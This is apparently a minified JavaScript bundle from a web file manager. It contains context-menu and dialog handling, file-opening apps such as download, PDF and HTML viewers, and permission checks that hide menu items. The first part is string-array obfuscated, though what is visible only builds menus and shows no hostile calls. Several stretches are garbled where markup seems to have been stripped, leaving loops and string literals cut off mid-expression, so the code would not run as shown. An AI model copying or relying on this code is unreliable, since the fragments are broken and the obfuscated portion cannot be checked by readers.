_0x5d7688=$(_0x1ed64f)[_kod_0x46d5('0x7c','w@%x')](),_0x53bb5a=_0x31f62f||d,_0x48f6a4=_0xbdb30f['$menu'][_kod_0x46d5('0x7d','J]Hl')](_0x53bb5a)[_kod_0x46d5('0x7e','6D#W')]();_0x326a5b[_kod_0x46d5('0x7f','8JG7')](0x0,_0x48f6a4[_kod_0x46d5('0x80','ZNFv')])&&_0xbdb30f[_kod_0x46d5('0x81',')b(p')][_0x53bb5a]&&(_0x48f6a4=_0xbdb30f[_kod_0x46d5('0x82',')T(f')][_0x53bb5a][_kod_0x46d5('0x83','tepW')]),0x0==_0x48f6a4[_kod_0x46d5('0x84','zjue')]&&(_0x48f6a4=_0xbdb30f[_kod_0x46d5('0x85',')Cl!')][_kod_0x46d5('0x86','Svi#')]()['last']()),_0x31f62f?_0x48f6a4['after'](_0x5d7688):d&&_0x48f6a4[_kod_0x46d5('0x87','(26G')](_0x5d7688);var _0x31ae2a=_0x5d7688[_kod_0x46d5('0x88','Svi#')](_kod_0x46d5('0x89','Yv8t'))[_kod_0x46d5('0x8a',')b(p')](_kod_0x46d5('0x8b',')Zq2'));_0x5d7688[_kod_0x46d5('0x39','#I7Z')]({'contextMenu':_0x31ae2a,'contextMenuKey':_0x6929fc,'contextMenuRoot':e});var _0x4c794c={};_0x4c794c[_kod_0x46d5('0x8c','w@%x')]=null;_0x4c794c[_kod_0x46d5('0x8d','Svi#')]=null;_0x4c794c[_kod_0x46d5('0x8e',')Zq2')]=f.accesskey;_0x4c794c['className']=f.className;_0x4c794c[_kod_0x46d5('0x8f',')Cl!')]=f.icon;_0x4c794c[_kod_0x46d5('0x90','A[bK')]=f.name;_0x4c794c[_kod_0x46d5('0x91','ZNFv')]=_0x483f12;_0x4c794c[_kod_0x46d5('0x5a','coI9')]=_0x5d7688;if(_0x31ae2a&&(_0x31ae2a[_kod_0x46d5('0x55','Svi#')]||(_0x31ae2a[_kod_0x46d5('0x92','Tg#C')]={}),_0x31ae2a[_kod_0x46d5('0x93','h*gi')][_0x6929fc]=_0x4c794c),_0x326a5b['YraqM']!=typeof f&&(_0xbdb30f[_kod_0x46d5('0x94','KCJX')]||(_0xbdb30f[_kod_0x46d5('0x95','KaAL')]={}),_0xbdb30f['commands'][_0x6929fc]=_0x4c794c,e['commands'][_0x6929fc]=_0x4c794c,e[_kod_0x46d5('0x96','#bfE')][_0x6929fc]=function(_0x337020,_0x3bccb4){f[_kod_0x46d5('0x97','KaAL')](_0x337020,_0x3bccb4);},f[_kod_0x46d5('0x98','ZNFv')]&&(e[_kod_0x46d5('0x99','gz7W')][f[_kod_0x46d5('0x8e',')Zq2')]]=_0x4c794c),f['items'])){var _0x485b5f=_0x6929fc+'-first-item',_0x1ed64f=_0x326a5b['Cngaj']+_0x6929fc+_kod_0x46d5('0x9a','L)pg')+_0x485b5f+'\x22>\x09\x09\x09\x09\x09';$(_0x1ed64f)['appendTo'](_0x5d7688),_0x4c794c['$menu']=_0x5d7688[_kod_0x46d5('0x3d','6D#W')](_0x326a5b['BfqaK'](_kod_0x46d5('0x9b',')Cl!'),_0x6929fc)),_0x4c794c[_kod_0x46d5('0x9c',']y0&')]=null,_0x4c794c[_kod_0x46d5('0x9d','A[bK')]=_0x4c794c[_kod_0x46d5('0x9e','(i@T')],_0x4c794c[_kod_0x46d5('0x9f','h*gi')]='sub',_0x5d7688[_kod_0x46d5('0xa0','L)pg')](_kod_0x46d5('0xa1','Svi#'),_0x4c794c)[_kod_0x46d5('0xa2','Tg#C')](_kod_0x46d5('0xa3','srTF')),_0x5d7688['find'](_0x326a5b[_kod_0x46d5('0xa4','&q8#')](_kod_0x46d5('0xa5','coI9'),_0x6929fc))[_kod_0x46d5('0x8a',')b(p')]({'contextMenuRoot':e,'contextMenu':_0x4c794c}),_0x5d7688['find']('li.'+_0x485b5f)['data']({'contextMenuRoot':e,'contextMenuKey':_0x485b5f,'contextMenu':_0x4c794c}),_0x4c794c[_kod_0x46d5('0xa6','a0nd')]||(_0x4c794c['items']={}),_0x4c794c[_kod_0x46d5('0x59','CpJI')][_0x485b5f]={'$input':null,'$label':null,'icon':'','name':'','_name':'','$node':_0x5d7688[_kod_0x46d5('0xa7','Tg#C')](_0x326a5b['FaoBi'](_0x326a5b[_kod_0x46d5('0xa8',')Cl!')],_0x485b5f))},i(_0x4c794c,f[_kod_0x46d5('0xa9','gz7W')],'.'+_0x485b5f);}}},$[_kod_0x46d5('0x8b',')Zq2')][_kod_0x46d5('0xaa','A[bK')]=function(_0x4f4d3b,_0x34c69d){$[_kod_0x46d5('0xab','Yv8t')][_kod_0x46d5('0xac','ZBag')](_0x4f4d3b,_0x34c69d,_kod_0x46d5('0xad','#I7Z'),!0x1);},$[_kod_0x46d5('0xae','L)pg')][_kod_0x46d5('0xaf','8JG7')]=function(_0x37f252,_0x3cf34c){$[_kod_0x46d5('0x34',')Cl!')]['menuItemClass'](_0x37f252,_0x3cf34c,_0x326a5b[_kod_0x46d5('0xb0','Ghlq')],!0x0);},$[_kod_0x46d5('0xb1','@*22')][_kod_0x46d5('0xb2','5$Bm')]=function(_0x5e37e5,_0x6637a8){if('wUupW'!==_0x326a5b[_kod_0x46d5('0xb3',')T(f')]){var _0x142712=_0x6637a8[_kod_0x46d5('0xb4','tepW')],_0x3b925e=_kod_0x46d5('0xb5',']y0&');_0x142712[_kod_0x46d5('0xb6','!BFl')](_kod_0x46d5('0xb7','W[*g'))[_kod_0x46d5('0xb8','tepW')](_0x3b925e),Hook[_kod_0x46d5('0xb9','tepW')](_0x326a5b[_kod_0x46d5('0xba','#bfE')],_0x6637a8[_kod_0x46d5('0xbb','@*22')],_0x5e37e5,_0x142712),Hook[_kod_0x46d5('0xbc','Tg#C')](_0x326a5b['FaoBi'](_0x326a5b[_kod_0x46d5('0xbd','FeGc')],_0x6637a8[_kod_0x46d5('0x4f','CpJI')]),_0x5e37e5,_0x142712);}else{$[_kod_0x46d5('0x34',')Cl!')][_kod_0x46d5('0xbe','OfMJ')](_0x5e37e5,_0x6637a8,_kod_0x46d5('0xbf','&Tiv'),!0x1);}},$['contextMenu']['menuItemRemove']=function(_0x4050d6,_0x4769bc){var _0x49c3dd=$[_kod_0x46d5('0xc0','o$)d')]['menuItem'](_0x4050d6,_0x4769bc);_0x49c3dd&&_0x49c3dd[_kod_0x46d5('0xc1','(i@T')]();},$[_kod_0x46d5('0xc2','(i@T')][_kod_0x46d5('0xc3','jcUX')]=function(_0x30fcdf,_0x4ec4c4,_0x2a10cb,_0x44a4a6){var _0xece64d=!0x1,_0x362bce=$['contextMenu'][_kod_0x46d5('0xc4','&q8#')];for(var _0x2b0111 in _0x362bce)if(_0x362bce[_0x2b0111][_kod_0x46d5('0xc5','#bfE')]==_0x4ec4c4){_0xece64d=_0x362bce[_0x2b0111];break;}if(_0xece64d&&_0x30fcdf){var _0x439d97=function(_0x3bff80){return _0x3bff80?-0x1!==_0x3bff80[_kod_0x46d5('0xc6','(i@T')]('/')?_kod_0x46d5('0xc7','J]Hl')+_0x3bff80+_kod_0x46d5('0xc8','tepW'):_0x326a5b[_kod_0x46d5('0xc9','!BFl')](_kod_0x46d5('0xca','Tg#C')+_0x3bff80,_0x326a5b[_kod_0x46d5('0xcb','L)pg')]):'';},_0x1ea789=function(_0x592497,_0x241dd9,_0x4792f6,_0x5ade5d){var _0x48d85e={};_0x48d85e[_kod_0x46d5('0xcc','FeGc')]=function(_0x25c209,_0x74859d){return _0x25c209+_0x74859d;};_0x48d85e[_kod_0x46d5('0xcd','@*22')]=function(_0x5afc13,_0x29a1aa){return _0x326a5b.vHrHH(_0x5afc13,_0x29a1aa);};_0x48d85e[_kod_0x46d5('0xce',')Zq2')]='\x20context-menu-separator\x20not-selectable\x22>';_0x48d85e['gbnoM']=_kod_0x46d5('0xcf','@*22');_0x48d85e[_kod_0x46d5('0xd0','CpJI')]=function(_0x4a0c53,_0x3fb2b0){return _0x4a0c53+_0x3fb2b0;};_0x48d85e[_kod_0x46d5('0xd1','8JG7')]=_0x326a5b.Cngaj;_0x48d85e[_kod_0x46d5('0xd2','tepW')]='\x22>\x09\x09\x09\x09\x09\x09=0x0;_0x1a2790--)_0x2b0111[_0x362bce[_0x1a2790][_kod_0x46d5('0xd7','J]Hl')]]=_0x362bce[_0x1a2790][_kod_0x46d5('0xd8','coI9')];}else _0x2b0111=_0x241dd9;$[_kod_0x46d5('0xd9','(i@T')](_0x2b0111,function(_0x464188,_0x539b1c){_0x539b1c[_kod_0x46d5('0xda',']y0&')]=_0x539b1c[_kod_0x46d5('0xdb','&Tiv')]||'';var _0x2b0111=_0x48d85e['aSDHh'](_0x48d85e[_kod_0x46d5('0xdc','(i@T')](_0x464188,'\x20'),_0x539b1c[_kod_0x46d5('0xdd','Tg#C')]);if(_0x48d85e[_kod_0x46d5('0xde','(i@T')]('string',typeof _0x539b1c))var _0x336e55=_kod_0x46d5('0xdf','Svi#')+_0x2b0111+_0x48d85e[_kod_0x46d5('0xe0','(26G')];else{var _0x1a2790=_0x539b1c[_kod_0x46d5('0xe1','8JG7')];_0x539b1c['accesskey']&&(_0x1a2790+=_kod_0x46d5('0xe2','E[tg')+_0x539b1c[_kod_0x46d5('0xe3','6D#W')]+')');var _0x336e55=_kod_0x46d5('0xe4','a0nd')+_0x2b0111+'\x22>'+_0x439d97(_0x539b1c[_kod_0x46d5('0x7b','a0nd')])+_kod_0x46d5('0xe5',')Cl!')+_0x1a2790+_kod_0x46d5('0xe6','srTF');}var _0x222928=$(_0x336e55)['clone'](),_0x1b2400=_0x4792f6||_0x5ade5d,_0x1bc473=_0x592497['$menu']['find'](_0x1b2400)['first']();_0x48d85e[_kod_0x46d5('0xe7','KaAL')](0x0,_0x1bc473[_kod_0x46d5('0x5b','$zeB')])&&_0x592497['commands'][_0x1b2400]&&(_0x1bc473=_0x592497[_kod_0x46d5('0xe8','Tg#C')][_0x1b2400]['$node']),0x0==_0x1bc473[_kod_0x46d5('0xe9','TbL]')]&&(_0x1bc473=_0x592497[_kod_0x46d5('0xea','Ghlq')][_kod_0x46d5('0xeb','ZNFv')]()[_kod_0x46d5('0xec','a0nd')]()),_0x4792f6?_0x1bc473[_kod_0x46d5('0xed','ZBag')](_0x222928):_0x5ade5d&&_0x1bc473['before'](_0x222928);var _0x399c49=_0x222928[_kod_0x46d5('0x88','Svi#')](_kod_0x46d5('0x89','Yv8t'))['data'](_kod_0x46d5('0x5d','ZNFv'));_0x222928[_kod_0x46d5('0xee','TbL]')]({'contextMenu':_0x399c49,'contextMenuKey':_0x464188,'contextMenuRoot':_0xece64d});var _0x41d3fd={};_0x41d3fd[_kod_0x46d5('0xef','&Tiv')]=null;_0x41d3fd[_kod_0x46d5('0xf0','A[bK')]=null;_0x41d3fd[_kod_0x46d5('0xf1','#bfE')]=_0x539b1c.accesskey;_0x41d3fd['className']=_0x539b1c.className;_0x41d3fd[_kod_0x46d5('0xf2','tepW')]=_0x539b1c.icon;_0x41d3fd['name']=_0x539b1c.name;_0x41d3fd['_name']=_0x1a2790;_0x41d3fd[_kod_0x46d5('0xf3','6D#W')]=_0x222928;if(_0x399c49&&(_0x399c49[_kod_0x46d5('0xf4','ZBag')]||(_0x399c49['items']={}),_0x399c49[_kod_0x46d5('0xa9','gz7W')][_0x464188]=_0x41d3fd),_0x48d85e[_kod_0x46d5('0xf5','a0nd')]!=typeof _0x539b1c&&(_0x592497['commands']||(_0x592497['commands']={}),_0x592497[_kod_0x46d5('0x82',')T(f')][_0x464188]=_0x41d3fd,_0xece64d['commands'][_0x464188]=_0x41d3fd,_0xece64d[_kod_0x46d5('0xf6','&Tiv')][_0x464188]=function(_0x25c351,_0x18cd3a){_0x539b1c[_kod_0x46d5('0xf7','$zeB')](_0x25c351,_0x18cd3a);},_0x539b1c['accesskey']&&(_0xece64d['accesskeys'][_0x539b1c[_kod_0x46d5('0xf8','Tg#C')]]=_0x41d3fd),_0x539b1c['items'])){var _0x25eddc=_0x48d85e[_kod_0x46d5('0xf9','6D#W')](_0x464188,'-first-item'),_0x336e55=_0x48d85e[_kod_0x46d5('0xfa','Yv8t')](_0x48d85e[_kod_0x46d5('0xfb','ZNFv')],_0x464188)+_0x48d85e[_kod_0x46d5('0xfc','a0nd')]+_0x25eddc+'\x22>\x09\x09\x09\x09\x09';$(_0x336e55)[_kod_0x46d5('0xfd','@*22')](_0x222928),_0x41d3fd[_kod_0x46d5('0xfe','h*gi')]=_0x222928['find'](_0x48d85e[_kod_0x46d5('0xff','@*22')](_kod_0x46d5('0x100','KCJX'),_0x464188)),_0x41d3fd['callback']=null,_0x41d3fd[_kod_0x46d5('0x101',')Zq2')]=_0x41d3fd['$node'],_0x41d3fd[_kod_0x46d5('0x102','FeGc')]='sub',_0x222928[_kod_0x46d5('0x103',']y0&')](_kod_0x46d5('0x104','W[*g'),_0x41d3fd)[_kod_0x46d5('0x105','@*22')]('context-menu-submenu'),_0x222928[_kod_0x46d5('0x106','L)pg')](_kod_0x46d5('0x107','amMN')+_0x464188)[_kod_0x46d5('0x108','&Tiv')]({'contextMenuRoot':_0xece64d,'contextMenu':_0x41d3fd}),_0x222928[_kod_0x46d5('0x109','ZNFv')](_0x48d85e[_kod_0x46d5('0x10a','FeGc')]+_0x25eddc)['data']({'contextMenuRoot':_0xece64d,'contextMenuKey':_0x25eddc,'contextMenu':_0x41d3fd}),_0x41d3fd[_kod_0x46d5('0x59','CpJI')]||(_0x41d3fd['items']={}),_0x41d3fd[_kod_0x46d5('0x10b',')b(p')][_0x25eddc]={'$input':null,'$label':null,'icon':'','name':'','_name':'','$node':_0x222928[_kod_0x46d5('0x10c',')b(p')](_0x48d85e[_kod_0x46d5('0x10d','#I7Z')](_kod_0x46d5('0x10e','TbL]'),_0x25eddc))},_0x1ea789(_0x41d3fd,_0x539b1c[_kod_0x46d5('0x10f',')Cl!')],_0x48d85e[_kod_0x46d5('0x110','6D#W')]('.',_0x25eddc));}});};_0x326a5b[_kod_0x46d5('0x111','@*22')](_0x1ea789,_0xece64d,_0x30fcdf,_0x2a10cb,_0x44a4a6);}};var _0x31f62f=function(){var _0x4feb74={};_0x4feb74[_kod_0x46d5('0x112','Ghlq')]=_0x326a5b.kOkyr;_0x4feb74['KeOgZ']=_kod_0x46d5('0x113','&q8#');_0x4feb74[_kod_0x46d5('0x114','(26G')]=_0x326a5b.CavDC;_0x4feb74[_kod_0x46d5('0x115','&Tiv')]=function(_0x167fc8,_0x4fc08f){return _0x167fc8+_0x4fc08f;};_0x4feb74['UKIdZ']=_kod_0x46d5('0x116','(i@T');_0x4feb74['kiRXb']=_0x326a5b.IXDxR;_0x4feb74['DSREq']=_0x326a5b.mIDCD;return $(_kod_0x46d5('0x117','o$)d'))['appendTo'](_kod_0x46d5('0x118','W[*g')),_kod_0x46d5('0x119','A[bK')!=typeof $[_kod_0x46d5('0x104','W[*g')]?console[_kod_0x46d5('0x11a','TbL]')](_kod_0x46d5('0x11b',')b(p')):($['contextMenu']({'zIndex':0x270f,'selector':_0x326a5b[_kod_0x46d5('0x11c','(26G')],'items':{'dialog-quit':{'name':LNG[_kod_0x46d5('0x11d',')T(f')],'className':_kod_0x46d5('0x11e','TbL]'),'icon':_0x326a5b['CDuvI'],'accesskey':'q'},'dialog-max':{'name':LNG['dialog_max'],'className':_kod_0x46d5('0x11f','srTF'),'icon':'resize-full','accesskey':'a'},'dialog-min':{'name':LNG[_kod_0x46d5('0x120','$zeB')],'className':_kod_0x46d5('0x121','ZBag'),'icon':_kod_0x46d5('0x122','tepW'),'accesskey':'i'},'sep1':_0x326a5b[_kod_0x46d5('0x123','gz7W')],'refresh':{'name':LNG['refresh'],'className':_0x326a5b[_kod_0x46d5('0x124','Svi#')],'icon':_kod_0x46d5('0x125','KCJX'),'accesskey':'r'},'open-window':{'name':LNG['open_ie'],'className':'open-window','icon':_kod_0x46d5('0x126','E9Jc'),'accesskey':'b'},'qrcode':{'name':LNG['qrcode'],'className':_0x326a5b[_kod_0x46d5('0x127','5$Bm')],'icon':_kod_0x46d5('0x128','A[bK'),'accesskey':'c'}},'callback':function(_0x2f5e05,_0xfc62a6){if(_kod_0x46d5('0x129','Ghlq')==='LTSHb'){var _0x31f62f=_0xfc62a6[_kod_0x46d5('0x12a',']y0&')]['attr']('id'),_0x2476f3=$[_kod_0x46d5('0x12b','h*gi')][_kod_0x46d5('0x12c',')Zq2')][_0x31f62f];switch(_0x2f5e05){case _0x4feb74[_kod_0x46d5('0x12d','&Tiv')]:_0x2476f3['close']();break;case _0x4feb74['DSREq']:_0x2476f3['_clickMin'](!0x1);break;case _kod_0x46d5('0x12e','Ghlq'):_0x2476f3[_kod_0x46d5('0x12f','tepW')]();break;case _kod_0x46d5('0x130','Svi#'):_0x2476f3[_kod_0x46d5('0x131','J]Hl')]();break;case _kod_0x46d5('0x132','gz7W'):_0x2476f3[_kod_0x46d5('0x133','srTF')]();break;case'qrcode':core['qrcode'](_0x2476f3['DOM'][_kod_0x46d5('0x134','ZNFv')]['find']('iframe')['attr'](_kod_0x46d5('0x135','gz7W')));}}else{var _0x56b869=_0x2f5e05[_kod_0x46d5('0x136','W[*g')]('id'),_0x5b4c4c=$[_kod_0x46d5('0x137','$zeB')][_kod_0x46d5('0x138','TbL]')][_0x56b869],_0x38f4e8=_0x4feb74['FMghZ'],_0x39a019=_0x4feb74[_kod_0x46d5('0x139','o$)d')];_0x5b4c4c['hasFrame']()?_0xfc62a6[_kod_0x46d5('0x13a',')Zq2')](_0x39a019)[_kod_0x46d5('0x13b',')b(p')](_0x38f4e8):_0xfc62a6[_kod_0x46d5('0x13c','@*22')](_0x39a019)[_kod_0x46d5('0x13d',')b(p')](_0x38f4e8);var _0x3bf925=_0x4feb74[_kod_0x46d5('0x13e','W[*g')];$(_0x4feb74[_kod_0x46d5('0x13f','Tg#C')]('.',_0x56b869))[_kod_0x46d5('0x140','jcUX')](_0x4feb74[_kod_0x46d5('0x141','Svi#')])?_0xfc62a6['find'](_0x3bf925)[_kod_0x46d5('0x142',']y0&')](_0x38f4e8):_0xfc62a6[_kod_0x46d5('0x143','TbL]')](_0x3bf925)['addClass'](_0x38f4e8);}}}),void $(_0x326a5b['TMUVT'])['die'](_kod_0x46d5('0x144','Ghlq'))[_kod_0x46d5('0x145','x*z*')](_0x326a5b[_kod_0x46d5('0x146','L)pg')],function(_0x1cd133){var _0xc14c8e=$(this)[_kod_0x46d5('0x147',')Zq2')]();_0xc14c8e[_kod_0x46d5('0x148','(26G')]+=_0x326a5b[_kod_0x46d5('0x149','&q8#')]($,this)[_kod_0x46d5('0x14a','h*gi')](),_0x326a5b[_kod_0x46d5('0x14b','E9Jc')]($,this)[_kod_0x46d5('0x14c','tepW')]()[_kod_0x46d5('0x14d','!BFl')]()[_kod_0x46d5('0x14e','FeGc')]({'x':_0x1cd133['pageX'],'y':_0xc14c8e[_kod_0x46d5('0x14f','Yv8t')]});})[_kod_0x46d5('0x150','jcUX')]('dblclick')['live']('dblclick',function(_0x10b44d){var _0xc14c8e=_0x326a5b['hHlrD']($,this)[_kod_0x46d5('0x151','ZNFv')]()[_kod_0x46d5('0x152','x*z*')]()[_kod_0x46d5('0x153','CpJI')]('id'),_0x31f62f=$[_kod_0x46d5('0x154','Yv8t')][_kod_0x46d5('0x138','TbL]')][_0xc14c8e];_0x31f62f[_kod_0x46d5('0x155','tepW')](),$[_kod_0x46d5('0x156','5$Bm')]['hidden']();}));};Hook['bind'](_kod_0x46d5('0x157','@*22'),function(_0x3dd82b,_0x19fcec){var _0x31f62f=_0x3dd82b[_kod_0x46d5('0x158','ZNFv')]('id'),_0x256330=$[_kod_0x46d5('0x159',')T(f')]['list'][_0x31f62f],_0x4e167c=_kod_0x46d5('0x15a','KaAL'),_0x344f7c=_kod_0x46d5('0x15b',']y0&');_0x256330[_kod_0x46d5('0x15c','!BFl')]()?_0x19fcec[_kod_0x46d5('0x15d','5$Bm')](_0x344f7c)['removeClass'](_0x4e167c):_0x19fcec['find'](_0x344f7c)[_kod_0x46d5('0x15e',')Zq2')](_0x4e167c);var _0x41030f='.dialog-min,.dialog-max';$('.'+_0x31f62f)[_kod_0x46d5('0x15f','!BFl')](_0x326a5b[_kod_0x46d5('0x160',')T(f')])?_0x19fcec[_kod_0x46d5('0x161','coI9')](_0x41030f)[_kod_0x46d5('0x162','oApp')](_0x4e167c):_0x19fcec['find'](_0x41030f)['addClass'](_0x4e167c);}),_0x31f62f();});;define("app/app/appBase",[],function(a,b){var c={},d={},e={},f=!1,g=function(a){a.title=void 0==a.title?a.name:a.title,void 0==a.name&&(a.name=UUID(),a.hidden=!0),c[a.name]=a,a.ext||(a.ext="");var b=a.ext.split(",");c[a.name].extArr=b,"undefined"!=typeof a.sort?a.sort=parseInt(a.sort):a.sort=0;for(var e=0;e1&&d[f].sort(function(a,b){return a.sort
          '+LNG.unknow_file_tips+"
          "+b+'
          1.'+h+d+'">'+LNG["Explorer.UI.openWith"]+'
          2.'+h+e+'">'+LNG["Explorer.UI.openWithText"]+'
          3.'+h+f+'">'+LNG.unknow_file_download+'
          '+h+g+'">'+LNG.PluginCenter+""+LNG.unknow_plugin_search+"
          ";$.dialog({fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:"20px 50px",content:i,cancel:!0}),$(".unknow-file a").unbind("click").bind("click",function(a){return $(this).parents(".artDialog").data("artDialog").close(),stopPP(a)})},kodApp.add({name:"download",title:LNG.download,hidden:!0,icon:"x-item-file x-html",callback:function(a,b){if(c(a)){var d=a;"http"!=a.substr(0,4)&&(d=G.appHost+"explorer/fileDownload&accessToken="+G.accessToken+"&path="+urlEncode(a),"undefined"!=typeof G.sharePage&&(d=G.appHost+"share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),isWap()?window.open(d):$('').appendTo("body")}}}),kodApp.download=function(a){kodApp.open(a,"","download")},kodApp.openWindow=function(a){kodApp.open(a,"","browserOpen")},kodApp.add({name:"browserOpen",title:LNG.open_ie,sort:-100,icon:"x-item-file x-html",callback:function(a,b){if(c(a)){var d=core.path2url(a);isWap()?window.location.href=d:window.open(d)}}}),kodApp.add({name:"swfPlayer",title:"Flash Player",ext:"swf",icon:"x-item-file x-swf",callback:function(a,b){$.dialog({resize:!0,fixed:!0,ico:core.icon(b),title:core.pathThis(a),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(a))})}}),kodApp.add({name:"webLink",title:"webLink",ext:"url,webloc",sort:10,icon:"x-item-file x-html",callback:function(a,b){core.fileGet(a,function(c){if("url"==b){var d=c.match(/URL=(.*)/);if(d.length>=2)return window.open(d[1])}else if("webloc"==b)try{var e=$($.parseXML(c)),f=e.find("string").text();return void window.open(f)}catch(g){}kodApp.open(a,b,"editor")})}}),kodApp.add({name:"htmlView",title:LNG["Plugin.default.htmlView"],ext:"htm,html,shtml",sort:10,icon:"x-item-file x-html",callback:function(a,b){var c=core.path2url(a);core.openDialog(c,core.icon("html"),core.pathThis(a))}}),kodApp.add({name:"pdfView",title:"PDF Simple",ext:"pdf",sort:0,icon:"x-item-file x-pdf",callback:function(a,b){var c=core.path2url(a),d="pdf"+UUID(),e='";$.dialog({resize:!0,fixed:!0,ico:core.icon(b),title:core.pathThis(a),width:"80%",height:"75%",padding:0,content:e}),PDFObject.embed(c,"#"+d)}}),kodApp.add({name:"oexeOpen",title:LNG["kodApp.oexe.open"],ext:"oexe",sort:100,icon:" x-item-file x-oexe",callback:function(a,b){core.fileGet(a,function(b){var c=jsonDecode(b);c.name=core.pathThis(a),core.openApp(c)})}}),kodApp.add({name:"oexeEdit",title:LNG["kodApp.oexe.edit"],ext:"oexe",sort:50,icon:"icon-edit ",callback:function(a,b){core.fileGet(a,function(b){var c=jsonDecode(b);c.name=core.pathThis(a),c.path=a,ui.path.pathOperate.appEdit(c)})}});var d={createApp:{name:LNG.app_create,className:"createApp newfile",icon:"icon-puzzle-piece x-item-file x-oexe",callback:function(a,b){ui.path.pathOperate.appEdit(0,0,"userAdd")}}};$.contextMenu.menuAdd(d,".menu-body-main",".app-install"),$.contextMenu.menuAdd(d,".toolbar-path-more",".app-install"),$.contextMenu.menuAdd(d,".bodymain",".app-install"),Hook.bind("rightMenu.show",function(a,b,c){var d=[".menu-folder",".menu-file",".menu-tree-folder",".menu-tree-file",".menu-tree-folder-fav"];if(c.find(".context-menu-submenu").fadeOut(0).delay(0).fadeIn(0),c.removeClass("menu-auto-fit"),h(b),c.inScreen()||c.addClass("menu-auto-fit"),".menu-body-main"==a){var e=c.find(".set-file-icon-size.context-menu-submenu");"icon"==G.userConfig.listType?e.removeClass("hidden"):e.addClass("hidden")}if(_.include(d,a)){var f="disabled",g=".cute,.rname,.remove",i=".open,.open-text,.down,.share,.copy,.cute,.rname,.remove,.open-browser,.search,.more-action";b.hasClass("file-not-readable")?c.find(i).addClass(f):c.find(i).removeClass(f),b.hasClass("file-not-writeable")?c.find(g).addClass(f):c.find(g).removeClass(f)}}),Hook.bind("rightMenu.show.menu-body-main",function(a,b){var c=".upload,.past,.newfolder,.newfile",d="disabled";_.get(G,"jsonData.info.canUpload")?b.find(c).removeClass(d):b.find(c).addClass(d)}),Hook.bind("rightMenu.show.menu-file",function(a,b){if($(".context-menu-active").hasClass("menu-tree-file"))var c=ui.tree.makeParam();else var c=ui.path.makeParam();var d=core.pathExt(c.path),e="hidden";inArray(["jpg","jpeg","png"],d)?b.find(".set-background").removeClass(e):b.find(".set-background").addClass(e)});var e=function(){var a=".close-item,.refresh,.newfile,.past,.info",b=".open-browser",c=".explorer,.create-project,.open-project",d=".close-item,.newfile,.refresh,.past,.down,.copy,.cute,.remove,.more-action,.clone,.info,.zip,.zip-zip,.zip-tar,.zip-tgz",e=".newfile,.cute,.past,.rname,.zip,.remove,.clone,.create-link-home,.create-link,.create-project",f=$(".menu-tool-path"),g="hidden",h=ui.fileLight.fileListSelect();f.find(".context-menu-item").addClass(g),0==h.length?f.find(a).removeClass(g):1==h.length?(f.find(".context-menu-item").removeClass(g),"folder"==ui.fileLight.type(h)?f.find(b).addClass(g):f.find(c).addClass(g)):h.length>1&&f.find(d).removeClass(g),G.jsonData&&G.jsonData.info&&G.jsonData.info.canUpload===!1&&f.find(e).filter(":not(."+g+")").addClass(g)},f=function(){var a=ui.fileLight.fileListSelect(),b=$(".kod-toolbar-path .select-button-show"),c="hidden";G.jsonData&&G.jsonData.info&&(0==a.length||G.jsonData.info.pathType==G.KOD_USER_SHARE&&G.jsonData.info.id!=G.userID?b.addClass("hidden"):(b.removeClass("hidden"),b.find("[data-action=share]").removeClass(c),b.find("[data-action=rname]").removeClass(c),a.length>1&&(b.find("[data-action=share]").addClass(c),b.find("[data-action=rname]").addClass(c))))},g=function(){var a=_.get(G,"jsonData.info.pathType"),b=$(".kod-toolbar-share .select-button-show-share"),c=ui.fileLight.fileListSelect(),d="hidden";a!=G.KOD_USER_SHARE||0==c.length?b.addClass("hidden"):(b.removeClass("hidden"),b.find("[data-action=shareEdit]").removeClass(d),b.find("[data-action=shareOpenWindow]").removeClass(d),c.length>1&&(b.find("[data-action=shareEdit]").addClass(d),b.find("[data-action=shareOpenWindow]").addClass(d)))};Hook.bind("explorer.fileSelect.init",function(){ui.fileLight.listNumberSet()}),Hook.bind("explorer.fileSelect.change",function(){e(),f(),g(),ui.fileLight.selectNumSet()}),Hook.bind("rightMenu.show.toolbar-path-more",function(){e()}),Hook.bind("rightMenu.initFinished",function(){if(1!=G.isRoot){var a="hidden",b={"explorer.fileDownload":"@.down,@.download,@.share,@.open-text,[data-action=download]","explorer.search":"@.search","explorer.mkfile":"@.newfile,[data-action=newfile],@.past,@.clone","explorer.mkdir":"@.newfolder,[data-action=newfolder]","explorer.pathRname":"@.rname,[data-action=rname]","explorer.pathDelete":"@.remove,@.remove + .context-menu-separator,[data-action=remove]","explorer.pathCopy":"@.cute,@.copy,[data-action=cute],[data-action=copy]","explorer.fileUpload":"@.upload,@.upload-more,[data-action=upload],[data-action=upload-more]","explorer.unzip":"@.unzip","explorer.zip":"@.zip","userShare.set":"@.share,[data-action=share]"};setTimeout(function(){for(var c in b){var d=replaceAll(b[c],"@",".context-menu-list ");core.authCheck(c)||$(d).addClass(a)}},100),core.authCheck("explorer.fileDownload")||(kodApp.remove("browserOpen"),kodApp.remove("htmlView"))}}),Hook.bind("kodApp.callback.before",function(a,b,c){return-1==$.inArray(a.name,["browserOpen","htmlView","zipView"])||core.authCheckGroup("explorer.fileDownload",b)?void 0:(Tips.tips(LNG.no_permission_action,"error"),!0)});var h=function(a){return},i=function(){if(G.authGroupRole||(G.authGroupRole={}),_.get(G,"jsonData.info.pathType")==G.KOD_GROUP_PATH){var a=_.get(G,"jsonData.info.id");G.authGroupRole[a]=_.get(G,"jsonData.info.groupRole.authArr")}h()};Hook.bind("explorer.path.ajaxLive",i)});;define("app/common/tpl/copyright.html",[],'\n');;define("app/common/tpl/themeDIY.html",[],"@media screen and (max-width:100000px) {\n body .full-background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blurSize= (bgBlur==0?0:10) }}{{/if}}\n body .full-background:before{\n -webkit-filter: blur({{blurSize}}px);\n -moz-filter: blur({{blurSize}}px);\n -ms-filter: blur({{blurSize}}px);\n filter: blur({{blurSize}}px);\n }\n {{if bgType == 'image'}}\n body .full-background,\n body .full-background:before,\n body #body .menu-left,\n body #body .app-menu-left,\n body .aui-buttons,\n body .aui-state-focus .aui-title,body .aui-title{\n background-image:url({{bgImage}});\n }\n body .aui-state-focus .aui-title,body .aui-title{\n background-size:100%;\n }\n 